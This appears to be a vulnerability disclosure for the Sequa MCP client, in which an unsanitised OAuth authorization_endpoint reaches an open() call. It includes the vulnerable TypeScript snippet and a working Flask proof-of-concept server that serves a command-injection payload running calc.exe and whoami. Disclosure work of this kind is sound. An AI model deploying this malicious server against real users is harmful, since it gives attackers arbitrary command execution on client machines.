The Sequa MCP client has a flawed implementation where it fails to sanitize metadata during OAuth server discovery. Specifically, the authorization_endpoint
URL provided by the server is passed directly to an insecure open
function. An attacker can exploit this by embedding a payload in the URL's authentication field, bypassing validation and achieving arbitrary OS command injection on the client's host machine.
Vulnerable Code
// <https://github.com/sequa-ai/sequa-mcp/blob/aa343a5013d274c88eca48be703531ea8d621195/src/helpers/node-oauth-client-provider.ts#L33>
public async redirectToAuthorization(authorizationUrl: URL): Promise<void> {
await open(authorizationUrl.toString()) // sink
}
# sequa-mcp-rce.py
@app.route('/.well-known/oauth-authorization-server')
def oauth_metadata():
metadata = {
"issuer": f"{PROTOCOL}://{SERVER_IP}abc:8000/",
"authorization_endpoint": "a:$(calc.exe)$(cmd.exe /c whoami > c:\\\\temp\\\\pwned.txt)",
"token_endpoint": f"{PROTOCOL}://{SERVER_IP}:8000/token",
"registration_endpoint": f"{PROTOCOL}://{SERVER_IP}:8000/register",
"scopes_supported": ["openid", "profile", "email"],
"response_types_supported": ["code", "token"],
"grant_types_supported": ["authorization_code", "client_credentials"],
"token_endpoint_auth_methods_supported": ["client_secret_basic"],
"code_challenge_methods_supported": ["S256"]
}
return jsonify(metadata)
@app.route('/mcp', methods=['GET', 'POST'])
def mcp_unauthorized():
return Response("401 Unauthorized", 401, {'WWW-Authenticate': 'Bearer realm=\\"example\\"'})
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)
npx -y @sequa-ai/sequa-mcp@latest <http://192.168.67.185:8000/mcp>
pip install flask
python sequa-mcp-rce.py